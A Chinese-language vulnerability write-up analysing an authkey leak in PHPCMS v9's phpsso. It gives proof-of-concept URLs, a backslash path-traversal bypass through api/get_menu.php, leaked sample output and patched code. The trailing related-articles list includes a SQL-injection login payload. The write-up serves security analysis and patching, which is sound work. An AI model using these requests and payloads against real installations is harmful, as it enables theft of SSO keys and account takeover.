PHPCMS \phpsso_server\phpcms\modules\phpsso\index.php、\api\get_menu.php Authkey Leakage

catalog

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

安装phpcms的时候会强制安装它的通行证

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2014-066394

2. 漏洞触发条件

0x1: POC1

1. 访问头像上传页面
http://localhost/phpcms_v9/index.php?m=member&c=index&a=account_manage_avatar&t=1
//获取‘upurl‘:"aHR0cDovL2xvY2FsaG9zdC9waHBjbXNfdjkvcGhwc3NvX3NlcnZlci9pbmRleC5waHA/bT1waHBzc28mYz1pbmRleCZhPXVwbG9hZGF2YXRhciZhdXRoX2RhdGE9dj0xJmFwcGlkPTEmZGF0YT1iOTVmNzJ2TUI1aHJGLVN0WXBhVWdSZkpDdVBxWjVOVGhLN3FSTE5jX3lOdEpTQmplZ3JLZVJIdXI1Rm94c0tKaDM3bGpsVDcyVjJ2dEdUZzREUW1aQQ==&callback=return_avatar&"

2. Base64解码后
http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA
//将url里的uploadavatar换成:getapplist
http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA

3. 得到authkey

0x2: POC Bypass Path 1

http://localhost/phpcms_v9/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin

3. 漏洞影响范围
4. 漏洞代码分析

\phpsso_server\phpcms\modules\phpsso\index.php

/**
* 获取应用列表
*/
public function getapplist()
{
    $applist = getcache(‘applist‘, ‘admin‘);
    exit(serialize($applist));
}

这个函数从cache中获取applist信息,继续追溯cache里的内容
\phpsso_server\caches\caches_admin\caches_data\applist.cache.php

<?php
return array (
  1 =>
  array (
    ‘appid‘ => ‘1‘,
    ‘type‘ => ‘phpcms_v9‘,
    ‘name‘ => ‘phpcms v9‘,
    ‘url‘ => ‘http://localhost/phpcms_v9/‘,
    ‘authkey‘ => ‘lOmYTRe7Ze6iDOKmKfay42foD0TaWxv0‘,
    ‘ip‘ => ‘‘,
    ‘apifilename‘ => ‘api.php?op=phpsso‘,
    ‘charset‘ => ‘utf-8‘,
    ‘synlogin‘ => ‘1‘,
  ),
);
?>

所以只要我们调用phpsso并且能走到getapplist()这个方法里,就会突出sso配置的客户端的所有信息,包括authkey,我们继续回溯分析漏洞源头
\phpsso_server\phpcms\modules\phpsso\classes\phpsso.class.php

    public function __construct()
    {
        $this->db = pc_base::load_model(‘member_model‘);
        pc_base::load_app_func(‘global‘);

        /*获取系统配置*/
        $this->settings = getcache(‘settings‘, ‘admin‘);
        $this->applist = getcache(‘applist‘, ‘admin‘);

        //GET数据全部传递给POST
        if(isset($_GET) && is_array($_GET) && count($_GET) > 0)
        {
            foreach($_GET as $k=>$v)
            {
                if(!in_array($k, array(‘m‘,‘c‘,‘a‘)))
                {
                    $_POST[$k] = $v;
                }
            }
        }

        if(isset($_POST[‘appid‘]))
        {
            $this->appid = intval($_POST[‘appid‘]);
        }
        else
        {
            exit(‘0‘);
        }

        if(isset($_POST[‘data‘]))
        {
            //将getapplist()结果赋值给$_POST[‘data‘]
            parse_str(sys_auth($_POST[‘data‘], ‘DECODE‘, $this->applist[$this->appid][‘authkey‘]), $this->data);

            if(empty($this->data) || !is_array($this->data)) {
                exit(‘0‘);
            }
        } else {
            exit(‘0‘);
        }

接下里的问题是我们要如何获取$_POST[‘data‘],继续回溯到上传头像页面

http://localhost/phpcms_v9/index.php?m=member&c=index&a=account_manage_avatar&t=1
//查看源代码
script type="text/javascript">
                    var flashvars = {
                        ‘upurl‘:"aHR0cDovL2xvY2FsaG9zdC9waHBjbXNfdjkvcGhwc3NvX3NlcnZlci9pbmRleC5waHA/bT1waHBzc28mYz1pbmRleCZhPXVwbG9hZGF2YXRhciZhdXRoX2RhdGE9dj0xJmFwcGlkPTEmZGF0YT1iOTVmNzJ2TUI1aHJGLVN0WXBhVWdSZkpDdVBxWjVOVGhLN3FSTE5jX3lOdEpTQmplZ3JLZVJIdXI1Rm94c0tKaDM3bGpsVDcyVjJ2dEdUZzREUW1aQQ==&callback=return_avatar&"
                    };
                    var params = {
                        ‘align‘:‘middle‘,
                        ‘play‘:‘true‘,
                        ‘loop‘:‘false‘,
                        ‘scale‘:‘showall‘,
                        ‘wmode‘:‘window‘,
                        ‘devicefont‘:‘true‘,
                        ‘id‘:‘Main‘,
                        ‘bgcolor‘:‘#ffffff‘,
                        ‘name‘:‘Main‘,
                        ‘allowscriptaccess‘:‘always‘
                    };
                    var attributes = {

得到base64编码后的URL

aHR0cDovL2xvY2FsaG9zdC9waHBjbXNfdjkvcGhwc3NvX3NlcnZlci9pbmRleC5waHA/bT1waHBzc28mYz1pbmRleCZhPXVwbG9hZGF2YXRhciZhdXRoX2RhdGE9dj0xJmFwcGlkPTEmZGF0YT1iOTVmNzJ2TUI1aHJGLVN0WXBhVWdSZkpDdVBxWjVOVGhLN3FSTE5jX3lOdEpTQmplZ3JLZVJIdXI1Rm94c0tKaDM3bGpsVDcyVjJ2dEdUZzREUW1aQQ==
/*
http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA
*/

将url里的uploadavatar换成:getapplist

http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA

得到结果

a:1:{i:1;a:9:{s:5:"appid";s:1:"1";s:4:"type";s:9:"phpcms_v9";s:4:"name";s:9:"phpcms v9";s:3:"url";s:27:"http://localhost/phpcms_v9/";s:7:"authkey";s:32:"lOmYTRe7Ze6iDOKmKfay42foD0TaWxv0";s:2:"ip";s:0:"";s:11:"apifilename";s:17:"api.php?op=phpsso";s:7:"charset";s:5:"utf-8";s:8:"synlogin";s:1:"1";}}
/*
authkey: lOmYTRe7Ze6iDOKmKfay42foD0TaWxv0
*/

得到这个authkey,就可以获得了sso体系中的令牌,厂商对index.php中的getapplist()函数进行了patch,unset了数组中的authkey键值,但是却没有充分考虑到全部的攻击面
\api\get_menu.php

/**
 * 获取地区列表
 */
function ajax_getlist() {

    $cachefile = $_GET[‘cachefile‘];
    $cachefile = str_replace(array(‘/‘, ‘//‘), ‘‘, $cachefile);
    //$cachefile = preg_replace(‘/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S‘, ‘‘, $cachefile);
    $path = $_GET[‘path‘];
    $path = str_replace(array(‘/‘, ‘//‘), ‘‘, $path);
    //$path = preg_replace(‘/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S‘, ‘‘, $path);
    $title = $_GET[‘title‘];
    $key = $_GET[‘key‘];
    //getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件,并读取内容
    $infos = getcache($cachefile,$path);
    $where_id = intval($_GET[‘parentid‘]);
    $parent_menu_name = ($where_id==0) ? ‘‘ : trim($infos[$where_id][$key]);
    foreach($infos AS $k=>$v)
    {
        if($v[‘parentid‘] == $where_id)
        {
            if ($v[‘parentid‘]) $parentid = $infos[$v[‘parentid‘]][‘parentid‘];
            $s[]=iconv(CHARSET,‘utf-8‘,$v[‘catid‘].‘,‘.trim($v[$key]).‘,‘.$v[‘parentid‘].‘,‘.$parent_menu_name.‘,‘.$parentid);
        }
    }
    if(count($s)>0)
    {
        $jsonstr = json_encode($s);
        echo trim_script($_GET[‘callback‘]).‘(‘,$jsonstr,‘)‘;
        exit;
    }
    else
    {
        echo trim_script($_GET[‘callback‘]).‘()‘;exit;
    }
}

Relevant Link:

http://0cx.cc/phpcms_phpsso_auth_key.jspx
http://0day5.com/archives/3251

5. 防御方法

\phpsso_server\phpcms\modules\phpsso\index.php

/**
 * 获取应用列表
 */
public function getapplist()
{
    $applist = getcache(‘applist‘, ‘admin‘);
    /**/
    foreach($applist as $key=>$value)
    {
        unset($applist[$key][‘authkey‘]);
    }
    /**/
    exit(serialize($applist));
}

\api\get_menu.php

/**
 * 获取地区列表
 */
function ajax_getlist() {

    $cachefile = $_GET[‘cachefile‘];
    //$cachefile = str_replace(array(‘/‘, ‘//‘), ‘‘, $cachefile);
    /**/
    $cachefile = str_replace(array(‘/‘, ‘//‘, ‘\\‘), ‘‘, $cachefile);
    /**/
    //$cachefile = preg_replace(‘/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S‘, ‘‘, $cachefile);
    $path = $_GET[‘path‘];
    $path = str_replace(array(‘/‘, ‘//‘), ‘‘, $path);
    //$path = preg_replace(‘/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S‘, ‘‘, $path);
    $title = $_GET[‘title‘];
    $key = $_GET[‘key‘];
    //getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件,并读取内容
    $infos = getcache($cachefile,$path);
    $where_id = intval($_GET[‘parentid‘]);
    $parent_menu_name = ($where_id==0) ? ‘‘ : trim($infos[$where_id][$key]);
    foreach($infos AS $k=>$v)
    {
        if($v[‘parentid‘] == $where_id)
        {
            if ($v[‘parentid‘]) $parentid = $infos[$v[‘parentid‘]][‘parentid‘];
            $s[]=iconv(CHARSET,‘utf-8‘,$v[‘catid‘].‘,‘.trim($v[$key]).‘,‘.$v[‘parentid‘].‘,‘.$parent_menu_name.‘,‘.$parentid);
        }
    }
    if(count($s)>0)
    {
        $jsonstr = json_encode($s);
        echo trim_script($_GET[‘callback‘]).‘(‘,$jsonstr,‘)‘;
        exit;
    }
    else
    {
        echo trim_script($_GET[‘callback‘]).‘()‘;exit;
    }
}

Relevant Link:

http://0day5.com/archives/3202
http://www.wooyun.org/bugs/wooyun-2015-0105242

6. 攻防思考

Copyright (c) 2015 Little5ann All rights reserved

时间: 2024-10-10 22:17:26

PHPCMS \phpsso_server\phpcms\modules\phpsso\index.php、\api\get_menu.php Authkey Leakage的相关文章

PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/phpcms_v9/index.php?m=member&c=index&a=login dosubmit=1&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2

phpcms V9实现wap上一篇、下一篇功能

在phpcms\modules\wap\index.php里面,搜索上面这句 if(!$r || $r['status'] != 99) showmessage(L('info_does_not_exists'),'blank'); 找到后,在它的下一行添加上 //上一页 $previous_page = $this->db->get_one("`catid` = '$catid' AND `id`<'$id' AND `status`=99",'*','id DES

PHPCMS V9模板中的常用变量、碎片代码详解

前面是变量,后面是调用变量的解释 {pc:content action="position"posid="12" thumb="1" order="id desc"num="10"} 图片新闻 {pc:contentaction="lists" catid="$r[catid]" num="1"thumb="1" order=&

PHPCMS(2)PHPCMS V9 环境搭建(转)

转自:http://www.cnblogs.com/Braveliu/p/5072920.html PHPCMS V9的学习总结分为以下几点: [1]PHPCMS 简介 PHP原始为Personal Home Page的缩写,(外文名:PHP: Hypertext Preprocessor,中文名:"超文本预处理器")是一种通用开源脚本语言. CMS是Content Management System的缩写,意为"内容管理系统". 与其他CMS系统的相同点:都是使用

phpcms(1)phpcms V9 MVC模式 与 URL访问解析(转)

[1]URL访问解析 观察访问网页时的网址,可以得出模块访问方法,如下示例: http://www.abcd.com.cn/phpcms/index.php?m=content&c=index&a=show&id=1 关于此URL解析如下: m = content 为模块/模型名称 位于phpcms/modules/content (必须项) c = index 为控制器名称 位于phpcms/modules/content/index.php (必须项) a = show 为事件

hadoop2.5发布:最新编译 32位、64位安装、源码包、API以及新特性

hadoop2.5发布:最新编译 32位.64位安装.源码包.API以及新特性 http://www.aboutyun.com/thread-8751-1-1.html (出处: about云开发) 问题导读:1.如何获取Hadoop安装包?2.编译Hadoop过程中,需要注意哪些问题?3.如何寻找API?4.如何获取Hadoop源码? 上述问题有的在本文,有的则在本文链接,感兴趣,可以找找答案 2014年08月06日 Hadoop2.5发布 官网下载地址 对Hadoop2.5进行了编译,编译的

chrome插件 postman插件 接口测试、API &amp; HTTP 请求调试工具

Postman 是一个非常棒的Chrome扩展,提供功能强大的API & HTTP 请求调试. 它能够发送任何类型的HTTP requests (GET, HEAD, POST, PUT..),附带任何数量的参数+ headers. 支持不同的认证机制(basic, digest, OAuth),接收到的响应语法高亮(HTML,JSON或XML). Postman 能够保留了历史的请求,这样我们就可以很容易地重新发送请求,有一个“集合”功能,用于存储所有请求相同的API/域. 这个扩展还有一些更

Android的sdk、api及工程目录说明

SDK下包的说明 1:add-ons:Android开发需要的第三方文件和软件库 2:docs:Android的文档.包括开发指南.API参考.资源等 3:extras:扩展的附加包 4:platforms:你安装下载的所有Android平台,分版本存放 5:platform-tools:平台相关的工具 6:samples:所有的样例程序 7:system-images:系统使用的图片 8:temp:临时操作或缓存的目录 9:tools:应用Android平台进行开发所需要的一些开发工具 常见的

【课程分享】深入浅出微信公众平台实战开发(微网站、LBS云、Api接口调用、服务号高级接口)

深入浅出微信公众平台实战开发(微网站.LBS云.Api接口调用.服务号高级接口) 课程下载地址:链接:http://pan.baidu.com/share/link?shareid=2214724072&uk=3611155194 密码:glvc 一.本课程是怎么样的一门课程(全面介绍) 1.1.课程的背景 微信公众平台的火热程度已经不用多言,无论是个人还是企业,政府还是商家,都已经开始搭建微信公众平台,微信的作用已经被各界人士认可.微信公众平台的技术需求市场缺口巨大. 1.2.课程内容简介 本